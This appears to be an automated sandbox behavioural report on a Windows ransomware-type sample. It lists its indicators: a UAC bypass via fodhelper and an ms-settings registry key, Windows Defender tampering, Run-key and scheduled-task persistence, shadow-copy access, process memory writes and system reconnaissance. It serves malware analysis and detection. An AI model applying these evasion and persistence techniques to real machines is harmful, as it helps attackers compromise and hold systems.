2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe Key deleted \REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\ms-settings\shell\open 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4048 schtasks.exe 1776 schtasks.exe 1384 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4868 chrome.exe 4868 chrome.exe 5152 powershell.exe 5152 powershell.exe 5152 powershell.exe 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs
pid Process 4868 chrome.exe 4868 chrome.exe 4868 chrome.exe 4868 chrome.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 5152 powershell.exe Token: SeShutdownPrivilege 4868 chrome.exe Token: SeCreatePagefilePrivilege 4868 chrome.exe Token: SeIncreaseQuotaPrivilege 5364 WMIC.exe Token: SeSecurityPrivilege 5364 WMIC.exe Token: SeTakeOwnershipPrivilege 5364 WMIC.exe Token: SeLoadDriverPrivilege 5364 WMIC.exe Token: SeSystemProfilePrivilege 5364 WMIC.exe Token: SeSystemtimePrivilege 5364 WMIC.exe Token: SeProfSingleProcessPrivilege 5364 WMIC.exe Token: SeIncBasePriorityPrivilege 5364 WMIC.exe Token: SeCreatePagefilePrivilege 5364 WMIC.exe Token: SeBackupPrivilege 5364 WMIC.exe Token: SeRestorePrivilege 5364 WMIC.exe Token: SeShutdownPrivilege 5364 WMIC.exe Token: SeDebugPrivilege 5364 WMIC.exe Token: SeSystemEnvironmentPrivilege 5364 WMIC.exe Token: SeRemoteShutdownPrivilege 5364 WMIC.exe Token: SeUndockPrivilege 5364 WMIC.exe Token: SeManageVolumePrivilege 5364 WMIC.exe Token: 33 5364 WMIC.exe Token: 34 5364 WMIC.exe Token: 35 5364 WMIC.exe Token: 36 5364 WMIC.exe Token: SeBackupPrivilege 2104 vssvc.exe Token: SeRestorePrivilege 2104 vssvc.exe Token: SeAuditPrivilege 2104 vssvc.exe Token: SeIncreaseQuotaPrivilege 5364 WMIC.exe Token: SeSecurityPrivilege 5364 WMIC.exe Token: SeTakeOwnershipPrivilege 5364 WMIC.exe Token: SeLoadDriverPrivilege 5364 WMIC.exe Token: SeSystemProfilePrivilege 5364 WMIC.exe Token: SeSystemtimePrivilege 5364 WMIC.exe Token: SeProfSingleProcessPrivilege 5364 WMIC.exe Token: SeIncBasePriorityPrivilege 5364 WMIC.exe Token: SeCreatePagefilePrivilege 5364 WMIC.exe Token: SeBackupPrivilege 5364 WMIC.exe Token: SeRestorePrivilege 5364 WMIC.exe Token: SeShutdownPrivilege 5364 WMIC.exe Token: SeDebugPrivilege 5364 WMIC.exe Token: SeSystemEnvironmentPrivilege 5364 WMIC.exe Token: SeRemoteShutdownPrivilege 5364 WMIC.exe Token: SeUndockPrivilege 5364 WMIC.exe Token: SeManageVolumePrivilege 5364 WMIC.exe Token: 33 5364 WMIC.exe Token: 34 5364 WMIC.exe Token: 35 5364 WMIC.exe Token: 36 5364 WMIC.exe Token: SeShutdownPrivilege 4868 chrome.exe Token: SeCreatePagefilePrivilege 4868 chrome.exe Token: SeShutdownPrivilege 4868 chrome.exe Token: SeCreatePagefilePrivilege 4868 chrome.exe Token: SeDebugPrivilege 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe Token: SeShutdownPrivilege 4868 chrome.exe Token: SeCreatePagefilePrivilege 4868 chrome.exe Token: SeShutdownPrivilege 4868 chrome.exe Token: SeCreatePagefilePrivilege 4868 chrome.exe Token: SeShutdownPrivilege 4868 chrome.exe Token: SeCreatePagefilePrivilege 4868 chrome.exe Token: SeIncBasePriorityPrivilege 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe Token: SeDebugPrivilege 5724 whoami.exe Token: SeDebugPrivilege 2384 NETSTAT.EXE Token: SeDebugPrivilege 2920 tasklist.exe Token: SeShutdownPrivilege 4868 chrome.exe - Suspicious use of FindShellTrayWindow 34 IoCs
pid Process 4868 chrome.exe 4868 chrome.exe 4868 chrome.exe 4868 chrome.exe 4868 chrome.exe 4868 chrome.exe 4868 chrome.exe 4868 chrome.exe 4868 chrome.exe 4868 chrome.exe 4868 chrome.exe 4868 chrome.exe 4868 chrome.exe 4868 chrome.exe 4868 chrome.exe 4868 chrome.exe 4868 chrome.exe 4868 chrome.exe 4868 chrome.exe 4868 chrome.exe 4868 chrome.exe 4868 chrome.exe 4868 chrome.exe 4868 chrome.exe 4868 chrome.exe 4868 chrome.exe 4868 chrome.exe 4868 chrome.exe 4868 chrome.exe 4868 chrome.exe 4868 chrome.exe 4868 chrome.exe 4868 chrome.exe 4868 chrome.exe - Suspicious use of SendNotifyMessage 32 IoCs
pid Process 4868 chrome.exe 4868 chrome.exe 4868 chrome.exe 4868 chrome.exe 4868 chrome.exe 4868 chrome.exe 4868 chrome.exe 4868 chrome.exe 4868 chrome.exe 4868 chrome.exe 4868 chrome.exe 4868 chrome.exe 4868 chrome.exe 4868 chrome.exe 4868 chrome.exe 4868 chrome.exe 4868 chrome.exe 4868 chrome.exe 4868 chrome.exe 4868 chrome.exe 4868 chrome.exe 4868 chrome.exe 4868 chrome.exe 4868 chrome.exe 4868 chrome.exe 4868 chrome.exe 4868 chrome.exe 4868 chrome.exe 4868 chrome.exe 4868 chrome.exe 4868 chrome.exe 4868 chrome.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4636 wrote to memory of 4868 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 85 PID 4868 wrote to memory of 5096 4868 chrome.exe 86 PID 4636 wrote to memory of 5152 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 87 PID 4636 wrote to memory of 1592 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 89 PID 4636 wrote to memory of 652 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 91 PID 4636 wrote to memory of 5880 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 93 PID 4636 wrote to memory of 2772 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 95 PID 4636 wrote to memory of 3868 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 97 PID 4636 wrote to memory of 3228 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 99 PID 4636 wrote to memory of 5028 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 101 PID 4636 wrote to memory of 1248 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 103 PID 4636 wrote to memory of 632 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 105 PID 4868 wrote to memory of 1556 4868 chrome.exe 106 PID 4868 wrote to memory of 2000 4868 chrome.exe 107 PID 4868 wrote to memory of 1556 4868 chrome.exe 106 PID 4868 wrote to memory of 544 4868 chrome.exe 108 PID 4868 wrote to memory of 544 4868 chrome.exe 108 PID 4636 wrote to memory of 3236 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 109 PID 4868 wrote to memory of 2868 4868 chrome.exe 111 PID 4868 wrote to memory of 3292 4868 chrome.exe 112 PID 4868 wrote to memory of 2868 4868 chrome.exe 111 PID 4868 wrote to memory of 3292 4868 chrome.exe 112 PID 4868 wrote to memory of 5380 4868 chrome.exe 114 PID 4868 wrote to memory of 5380 4868 chrome.exe 114 PID 4636 wrote to memory of 2212 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 115 PID 4636 wrote to memory of 5076 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 117 PID 4636 wrote to memory of 5364 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 119 PID 632 wrote to memory of 6032 632 fodhelper.exe 121 PID 4636 wrote to memory of 2516 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 126 PID 4868 wrote to memory of 2468 4868 chrome.exe 127 PID 4868 wrote to memory of 2468 4868 chrome.exe 127 PID 4636 wrote to memory of 4048 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 128 PID 4636 wrote to memory of 1776 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 130 PID 4636 wrote to memory of 4084 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 134 PID 4636 wrote to memory of 4128 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 136 PID 4636 wrote to memory of 2636 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 137 PID 4636 wrote to memory of 3952 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 138 PID 4636 wrote to memory of 5312 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 139 PID 4636 wrote to memory of 812 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 140 PID 4636 wrote to memory of 3472 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 141 PID 4636 wrote to memory of 4720 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 142 PID 4636 wrote to memory of 1384 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 143 PID 4636 wrote to memory of 3672 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 151 PID 4084 wrote to memory of 3412 4084 cmd.exe 152 PID 812 wrote to memory of 2088 812 cmd.exe 153 PID 2636 wrote to memory of 2500 2636 cmd.exe 154 PID 3472 wrote to memory of 2032 3472 cmd.exe 155 PID 3952 wrote to memory of 2920 3952 cmd.exe 156 PID 5312 wrote to memory of 5724 5312 cmd.exe 157 PID 4720 wrote to memory of 2384 4720 cmd.exe 158 PID 2088 wrote to memory of 3248 2088 net.exe 159 PID 4636 wrote to memory of 2204 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 160 PID 4636 wrote to memory of 6020 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 162 PID 4636 wrote to memory of 5780 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 163 PID 4636 wrote to memory of 2180 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 165 PID 4636 wrote to memory of 2076 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 167 PID 4636 wrote to memory of 5456 4636 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe 169 PID 4084 wrote to memory of 1956 4084 cmd.exe 172 PID 5780 wrote to memory of 1992 5780 net.exe 173 PID 4868 wrote to memory of 276 4868 chrome.exe 174 PID 4868 wrote to memory of 1744 4868 chrome.exe 193 PID 4868 wrote to memory of 4696 4868 chrome.exe 194 PID 4868 wrote to memory of 1368 4868 chrome.exe 195 PID 4868 wrote to memory of 5728 4868 chrome.exe 207 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe"C:\Users\Admin\AppData\Local\Temp\2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies security service
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Checks computer location settings
- Drops startup file
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4636 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" http://nowatch.tv2⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4868 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffcca78c728,0x7ffcca78c734,0x7ffcca78c7403⤵PID:5096
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1672,i,13183871195761319071,10283334646993274069,262144 --field-trial-handle=1988,i,18007664312786958015,5801904255197798156,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=1980 /prefetch:23⤵PID:1556
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2112,i,17420222828990370926,10493524322406344121,524288 --field-trial-handle=1988,i,18007664312786958015,5801904255197798156,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2188 /prefetch:33⤵
- System Time Discovery
PID:2000
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2360,i,10847481834216020053,2388321636442607978,524288 --field-trial-handle=1988,i,18007664312786958015,5801904255197798156,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2372 /prefetch:83⤵PID:544
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3112,i,3372737773030624225,17995340994451342215,2097152 --field-trial-handle=1988,i,18007664312786958015,5801904255197798156,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3144 /prefetch:13⤵PID:2868
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3128,i,12881711564467010027,10311782625264246374,2097152 --field-trial-handle=1988,i,18007664312786958015,5801904255197798156,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3260 /prefetch:13⤵PID:3292
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4424,i,7425912318626204039,3842353276435286329,2097152 --field-trial-handle=1988,i,18007664312786958015,5801904255197798156,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4444 /prefetch:23⤵PID:5380
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4584,i,10139506223368525519,10083067808359520183,2097152 --field-trial-handle=1988,i,18007664312786958015,5801904255197798156,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4600 /prefetch:13⤵PID:2468
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=4428,i,9418934605676219016,7068923164512274172,524288 --field-trial-handle=1988,i,18007664312786958015,5801904255197798156,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4408 /prefetch:83⤵PID:276
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6036,i,15899931581447796866,10266693042938537749,524288 --field-trial-handle=1988,i,18007664312786958015,5801904255197798156,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=6048 /prefetch:83⤵PID:1744
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6040,i,7014341259418601906,7720009115676456443,524288 --field-trial-handle=1988,i,18007664312786958015,5801904255197798156,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=6088 /prefetch:83⤵PID:4696
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6044,i,4199339261589192236,2197638717957675100,524288 --field-trial-handle=1988,i,18007664312786958015,5801904255197798156,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5844 /prefetch:83⤵PID:1368
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=4532,i,13075598372909980703,14867199800972766669,262144 --field-trial-handle=1988,i,18007664312786958015,5801904255197798156,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4520 /prefetch:83⤵PID:5728
-
-
-
